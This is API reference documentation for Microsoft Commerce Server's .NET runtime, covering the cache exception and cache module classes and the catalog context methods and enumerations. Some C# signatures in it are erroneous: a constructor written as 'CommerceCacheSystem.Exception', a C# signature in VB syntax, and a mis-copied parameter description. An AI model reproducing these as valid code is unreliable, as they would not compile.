Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Class (BCL)

Describes Commerce cache exceptions.

Public Instance Constructor

Constructor | Description
CommerceCacheException Constructor | Creates a new instance of the CommerceCacheException class.
CommerceCacheException Constructor(String) | Creates a new instance of the CommerceCacheException class with the specified message.
CommerceCacheException Constructor(String, Exception) | Creates a new instance of the CommerceCacheException class with the specified message and inner exception.
CommerceCacheException Constructor(String, String, Exception) | Creates a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceCacheException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCacheException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheException Constructor | Creates a new instance of the CommerceCacheException class.
CommerceCacheException Constructor(String) | Creates a new instance of the CommerceCacheException class with the specified message.
CommerceCacheException Constructor(String, Exception) | Creates a new instance of the CommerceCacheException class with the specified message and inner exception.
CommerceCacheException Constructor(String, String, Exception) | Creates a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceCacheException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCacheException class with the specified serialization information and streaming context.


CommerceCacheException Constructor (BCL)

Use this method to create a new instance of the CommerceCacheException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceCacheException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceCacheException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The message to include in the exception.
[C#]
message
The message to include in the exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCacheSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The message to include in the exception.
inner
The inner exception.
[C#]
message
The message to include in the exception.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Constructor (String, String, Exception) (BCL)

Use this method to create a new instance of the CommerceCacheException class with the specified name, operation, and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal operation As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCacheSystem.Exception(
  System.String name,
  System.String operation,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
name
The cache name.
operation
The operation that failed.
inner
The inner exception.
[C#]
name
The cache name.
operation
The operation that failed.
inner
The operation that failed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.


CommerceCacheException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceCacheModule Class (BCL)

Creates the site caches collection.

Public Instance Constructor

Constructor | Description
CommerceCacheModule Constructor | Creates a new instance of the CommerceCacheModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceCacheModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
CacheCollection | Contains the site cache collection.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheModule Constructor | Creates a new instance of the CommerceCacheModule class.


CommerceCacheModule Constructor (BCL)

Use this method to create a new instance of the CommerceCacheModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherits from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherits from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceCacheModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

This module does not subscribe to any application events.

Throws a CommerceResourceDependencyException if the associated Commerce Server resource of a known cache type could not be found.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceCacheModule class instance has been initialized.

Public Static (Shared) Properties

Property | Description
CacheCollection | Contains the site cache collection.


CommerceCacheModule.CacheCollection Property (BCL)

The CacheCollection property gets the site cache collection.

Definition

[Visual Basic .NET]
Public Shared ReadOnly Property CacheCollection As CommerceCacheCollection
[C#]
public static CommerceCacheCollection CacheCollection {get;}

Property Value

A CommerceCacheCollection object containing the caches in the site.

Remarks

The value will be null if the CommerceCacheModule object was not configured in the web.config file.

This property is static and shared.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Microsoft.CommerceServer.Runtime.Catalog

The Microsoft.CommerceServer.Runtime.Catalog namespace contains the catalog functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Catalog Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime.Catalog namespace.

Classes

Class | Description
CatalogContext | Provides a context for interacting with the Commerce Server Product Catalog System. Wraps the CatalogManager COM object.
CatalogException | Base type for all exceptions raised by the Product Catalog System.
CatalogInitializationException | Exception thrown when there is a failure initializing the CatalogManager object.
CatalogNotFoundException | Exception thrown when the catalog is not found.
CatalogSearch | Controls the type of search performed on catalog data.
CatalogSearchOptions | Used by database searches for catalog methods to specify which records to return and how to sort the result set. Can also specify paging and class types to return.
CatalogSetCollection | Retrieves and caches information about all catalog sets in the Commerce Server Product Catalog System. Provides an enumerator and two indexers to retrieve the CatalogSet object information.
Category | Represents a category in the ProductCatalog object. A Category object should be referenced only on the page in which it was created.
CategoryNotFoundException | Exception thrown when the category is not found.
CommerceCatalogModule | Responsible for creating the default CatalogContext object for the site.
Product | Represents a product in the ProductCatalog object. A Product object should be referenced only on the page in which it was created.
ProductCatalog | Represents a catalog in the Commerce Server Product Catalog System. A ProductCatalog object should be referenced only on the page in which it was created.
ProductNotFoundException | Exception thrown when the product is not found.
SpecificationSearchPropertyResult | Represents the result for a property in a specification search. The specification search APIs return arrays of these as part of the specification search process. Each result object represents a property and all of the distinct values for that property.

Enumerations

Enumeration | Description
CatalogAttributesType | Used with the CatalogContext.GetAttributes method. Specifies whether to return catalog attributes or property attributes.
CatalogClassTypes | Used to specify which types of catalog objects to return from a search.
CatalogDataType | Enumeration of the valid data types for catalog properties.
CatalogJoinType | Used with the SetJoinTable method of the CatalogContext to specify the type of join to use across the Product Catalog System.

Examples

Example | Description
Code to list catalogs on an ASP.NET Web form | Describes how to list catalogs on an ASP.NET Web form.
Code to navigate Catalog categories on an ASP.NET Web form | Describes how to navigate through catalog categories on an ASP.NET Web form.
Code to navigate Catalog products on an ASP.NET Web form | Describes how to navigate through catalog products on an ASP.NET Web form.

See Also

Commerce Server .NET Application Framework Tutorial


CatalogAttributesType Enumeration (BCL)

Enumeration for use with the CatalogContext.GetAttributes method. Specifies whether to return catalog attributes or property attributes.

Members

Member name | Description
CatalogAttributes | Indicates that the GetAttribures method returns catalog attributes.
PropertyAttributes | Indicates that the GetAttribures method returns property attributes.

Remarks

Inherits from the System.Enum method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogClassTypes Enumeration (BCL)

Enumeration used to specify which types of catalog objects to return from a search.

Members

Member Name | Description
CategoryClass | Categories
ProductClass | Products
ProductFamilyClass | Product families (products with variants)
ProductFamilyForVariantsClass | When a variant matches, return the product family that includes the variant.
ProductVariantClass | Product variants
ProductVariantsForFamilyClass | When a product with variants matches, return the product variants.

Remarks

Class types can be combined by using the logical OR operator.

The following example specifies to return both ProductFamilyClass and ProductFamilyForVariantsClass objects:

ClassTypes = CatalogClassTypes.ProductFamilyClass | CatalogClassType.ProductFamilyForVariantsClass

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogContext Class (BCL)

The CatalogContext class provides a context for interacting with the Commerce Server 2002 Product Catalog System. In the Commerce Server 2002 .NET Application Framework implementation, this wraps a CatalogManager object.

Protected Instance Constructor

Constructor | Description
Constructor(DebugContext) | Creates a new instance of the CatalogContext class with the specified DebugContext object.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalog(String) | Gets the ProductCatalog object for the catalog with the specified name.
GetCatalogs(String, String, CatalogSearchOptions, Int32) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String, CatalogSearchOptions) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetDefinitionProperties(String) | Gets the properties for a specific catalog definition.
GetEnumerationPropertyValues(String) | Returns all possible values for a catalog property of type CatalogDataType.Enumeration.
GetPropertyAttributes(String) | Gets the attributes for a specific catalog property.
Refresh | Refreshes the Product Catalog System. Ensures that the property caches are coherent with the current design-time view of the catalog.
SetJoinTable(String, String, String, CatalogJoinType) | Sets the join table information. The join table information is in effect for the lifetime of the CatalogContext object.

Public Instance Properties

Property | Description
CachingEnabled | True if caching is enabled, otherwise False.
CatalogNames | Gets the complete list of catalogs known to the Product Catalog System as an array of catalog names.
CatalogSets | Returns the (cached) CatalogSetCollection object that contains information about all the catalog sets in the Commerce Server Product Catalog System.
CategoryDefinitionNames | Gets the names of all category definitions defined in the Product Catalog System.
DebugContext | Gets the DebugContext object that this object is using to log trace messages, and so forth.
DefaultAnonymousCatalogSet | Returns the catalog collection for the configured default anonymous catalog set.
DefaultAuthenticatedCatalogSet | Returns the catalog collection for the configured default authenticated catalog set.
ProductDefinitionNames | Gets the names of all product definitions defined in the Product Catalog System.
PropertyNames | Gets the names of all properties defined in the Product Catalog System.

Public Static (Shared) Methods

Method | Description
CreateFromConnectionString(String, DebugContext) | Creates a CatalogContext object that will run against the catalog database specified in the ADO connection string.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class. If this class is not sealed, derived classes can override this method to dispose of its own resources.

Remarks

The CatalogContext, ProductCatalog, Product, and Category objects implement most of their functionality as virtual methods that may be overridden in a subclass (or an entirely new implementation may be provided). Subclassing also allows for adding information to the data sets before they are returned (for example, inventory levels).

The pattern to implement this is to subclass the CatalogContext object, and provide a static factory method similar to CreateFromConnectionString and CreateFromCommerceSiteName that initializes and returns a new CatalogContext subclass instance. This instance can then be placed into the CommerceContext.CatalogSystem property for use on the site. The subclass must provide an implementation for the GetCatalog methods. However, you can no longer use:

ProductCatalog catalog = new Catalog(string name)

But you can use:

ProductCatalog catalog = CommerceContext.Current.CatalogContext.GetCatalog(string name);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Constructor(DebugContext) | Creates a new instance of the CatalogContext class with the specified DebugContext object.


CatalogContext Constructor (DebugContext) (BCL)

Use this method to create a new instance of the CatalogContext object with the specified DebugContext object.

[Visual Basic .NET]
Protected Sub New( _
  ByVal dbgContext As DebugContext _
)
[C#]
protected CatalogContext(
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws an ArgumentNullException if the dbgContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases the unmanaged resources used by this class and optionally releases the managed resources.
GetCatalog(String) | Gets the ProductCatalog object for the catalog with the specified name.
GetCatalogs(String, String, CatalogSearchOptions, Int32) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String, CatalogSearchOptions) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String, String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetCatalogs(String) | Searches for catalogs using a TSQL query. All properties of all matching records are returned.
GetDefinitionProperties(String) | Gets the properties for a specific catalog definition.
GetEnumerationPropertyValues(String) | Returns all possible values for a catalog property of type CatalogDataType.Enumeration.
GetPropertyAttributes(String) | Gets the attributes for a specific catalog property.
Refresh | Refreshes the Product Catalog System. Ensures that the property caches are coherent with the current design-time view of the catalog.
SetJoinTable(String, String, String, CatalogJoinType) | Sets the join table information. The join table information is in effect for the lifetime of the CatalogContext object.

Public Static (Shared) Methods

Method | Description
CreateFromConnectionString(String, DebugContext) | Creates a CatalogContext object that will run against the catalog database specified in the ADO connection string.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class. If this class is not sealed, derived classes can override this method to dispose of its own resources.


CatalogContext.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CreateFromConnectionString (String, DebugContext) Method (BCL)

Use this method to create a CatalogContext object that will run against the catalog database specified in the ADO connection string.

[Visual Basic .NET]
Public Shared Function CreateFromConnectionString( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
) As CatalogContext
[C#]
public static CatalogContext CreateFromConnectionString(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
The ADO connection string. May not be null.
dbgContext
The DebugContext object. May not be null.
[C#]
connectionString
The ADO connection string. May not be null.
dbgContext
The DebugContext object. May not be null.

Remarks

Throws an ArgumentNullException if either the connectionString or the dbgContext parameter is null. Throws a CatalogInitializationException if initialization of the CatalogManager object fails.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

Releases the underlying CatalogManager interop object. This method calls the CatalogContext.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally to release the managed resources.

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Implements

System.IDisposable

Parameters

[Visual Basic .NET]
disposing
A value of True if this method was called from the Dispose method, False if this method was called from the finalizer.
[C#]
disposing
A value of True if this method was called from the Dispose method, False if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft.NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalog (String) Method (BCL)

Use this method to get the ProductCatalog object for the catalog with the specified name.

[Visual Basic .NET]
Overridable Public Function GetCatalog( _
  ByVal catalogName As System.String _
) As ProductCatalog
[C#]
public virtual ProductCatalog GetCatalog(
  System.String catalogName
);

Parameters

[Visual Basic .NET]
catalogName
The name of the catalog. May not be null.
[C#]
catalogName
The name of the catalog. May not be null.

Return Value

The specified ProductCatalog object.

Remarks

When used in the context of the Commerce Server 2002 .NET Framework, a ProductCatalog object is valid only for the request on which it was created. It will be automatically disposed in the OnEndRequest handler. Throws an ArgumentNullException if the catalogName parameter is null. Throws a CatalogNotFoundException if the catalog does not exist. Sets the ActiveLanguage of the ProductCatalog object to the CultureInfo.CurrentUICulture. If the catalog does not support this language, then the ProductCatalog.ActiveLanguage defaults to the default language of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String) Method (BCL)

Use this method to search for catalogs using a TSQL query. All properties of all matching records are returned.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
[C#]
searchClause
The search clause.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

Throws a CatalogException on failure. The results are returned in the current user interface culture.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String) Method (BCL)

Use this method to search for catalogs using a TSQL query. All properties of all matching records are returned.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
language
The language, specified as a RFC 1766 CultureInfo class name. If null, it defaults to the current user interface culture.
[C#]
searchClause
The search clause.
language
The language, specified as a RFC 1766 CultureInfo class name. If null, it defaults to the current user interface culture.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

Throws a CatalogException on failure.

See the Microsoft .NET Framework SDK documentation for more information about the CultureInfo class.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String, CatalogSearchOptions) Method (BCL)

Use this method to search for catalogs using a TSQL query, which returns results as specified by the searchOptions parameter.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String, _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language,
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.
[C#]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

The following properties of the searchOptions parameter are used; any others are ignored:

  • StartingRecord
  • RecordsToRetrieve
  • Language

Throws a ArgumentNullException if the searchOptions parameter is null. Throws a CatalogException on failure.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetCatalogs (String, String, CatalogSearchOptions, Int32) Method (BCL)

Use this method to search for catalogs using a TSQL query, which returns results as specified by the CatalogSearchOptions parameter, and returns the total number of matching catalog records in the totalRecords parameter.

[Visual Basic .NET]
Overridable Public Function GetCatalogs( _
  ByVal searchClause As System.String, _
  ByVal language As System.String, _
  ByVal searchOptions As CatalogSearchOptions, _
  ByRef totalRecords As System.Int32 _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetCatalogs(
  System.String searchClause,
  System.String language,
  CatalogSearchOptions searchOptions,
  out System.Int32 totalRecords
);

Parameters

[Visual Basic .NET]
searchClause
The search clause.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the current user interface culture.
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
(out) The total number of records matching the query.
[C#]
searchClause
The search clause. May not be null.
language
The language, specified as a .NET RFC 1766 culture code. If null, it defaults to the CultureInfo.CurrentUICulture value.
searchOptions
The CatalogSearchOptions object. May be null.
totalRecords
(out) The total number of records matching the query.

Return Value

A DataSet with a single DataTable containing the properties of catalogs that matched the query.

Remarks

The following properties of the searchOptions parameter are used; any others are ignored:

  • StartingRecord
  • RecordsToRetrieve
  • Language

Throws a CatalogException on failure.

If the language parameter is not specified, the CultureInfo.CurrentUICulture value is used.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetDefinitionProperties (String) Method (BCL)

Use this method to get the properties for a specific catalog definition.

[Visual Basic .NET]
Overridable Public Function GetDefinitionProperties( _
  ByVal definitionName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetDefinitionProperties(
  System.String definitionName
);

Parameters

[Visual Basic .NET]
definitionName
The name of the definition. May not be null.
[C#]
definitionName
The name of the definition. May not be null.

Return Value

A DataSet containing definition properties.

Remarks

The GetDefinitionProperties method can be used to retrieve properties of either category or product definitions. Gets the names of the definitions using the CategoryDefinitionNames or ProductDefinitionNames properties. Throws an ArgumentNullException if the definitionName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetEnumerationPropertyValues (String) Method (BCL)

Use this method to return all possible values for a catalog property of type CatalogDataType_Enumeration.

[Visual Basic .NET]
Overridable Public Function GetEnumerationPropertyValues( _
  ByVal propertyName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetEnumerationPropertyValues(
  System.String propertyName
);

Parameters

[Visual Basic .NET]
propertyName
The name of the property to return enumerations for. May not be null.
[C#]
propertyName
The name of the property to return enumerations for. May not be null.

Return Value

A DataSet with a single DataTable containing enumeration property values.

Remarks

Throws an ArgumentNullException if the propertyName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.GetPropertyAttributes (String) Method (BCL)

Use this method to get the attributes for a specific catalog property.

[Visual Basic .NET]
Overridable Public Function GetPropertyAttributes( _
  ByVal propertyName As System.String _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetPropertyAttributes(
  System.String propertyName
);

Parameters

[Visual Basic .NET]
propertyName
The name of the property to retrieve attributes for. May not be null.
[C#]
propertyName
The name of the property to retrieve attributes for. May not be null.

Return Value

A DataSet with a single DataTable and containing a single DataRow with the property attributes.

Remarks

Throws an ArgumentNullException if the propertyName parameter is null. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.Refresh Method (BCL)

Use this method to flush the cached data. The next time that data is queried, it will be retrieved from the Catalog COM API, and thereby the cache will gradually be filled with the coherent design-time view of the data.

[Visual Basic .NET]
Overridable Public Sub Refresh( _
)
[C#]
public virtual void Refresh(
);

Remarks

The following properties on the catalog are refreshed:

  • CatalogNames
  • PropertyNames
  • CategoryDefinitions
